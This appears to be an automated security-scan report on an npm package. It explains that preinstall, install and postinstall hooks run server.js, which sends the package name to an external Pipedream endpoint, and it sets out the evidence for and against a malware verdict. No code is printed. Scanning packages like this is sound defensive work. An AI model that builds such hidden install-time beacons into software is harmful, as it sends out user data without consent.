AI Security Review

scanned 17d ago · by lpm-firewall-ai

Automatic npm lifecycle hooks contact a third-party endpoint during installation. This creates unsolicited install-time network activity.

Static reason

One or more suspicious static signals were detected.

Trigger

npm runs preinstall, install, or postinstall.

Impact

Installation leaks that this package was installed to an external endpoint and permits remote request logging without user action.

Mechanism

server.js constructs an HTTPS GET request to a Pipedream host with the package name in its path.

Attack narrative

On npm installation, multiple lifecycle hooks invoke server.js. It automatically sends a package-identifying HTTPS request to an externally controlled Pipedream endpoint, creating unconsented install-time telemetry.

AI rationale

The package uses automatic install hooks solely to make an external request to an unrelated endpoint. Although no credential theft or local mutation was found, this is concrete unsolicited lifecycle network behavior.

Decision evidence

public snapshot

AI called this Malicious at 93.0% confidence as Malware with low false-positive risk.

Evidence for block

The package registers preinstall, install, and postinstall hooks that automatically run server.js.
The lifecycle entrypoint sends an HTTPS request containing the package name to an external Pipedream endpoint.

Evidence against

The inspected entrypoint does not read environment variables, local files, or credentials.
No command execution, payload download, or filesystem mutation was found in the inspected source.
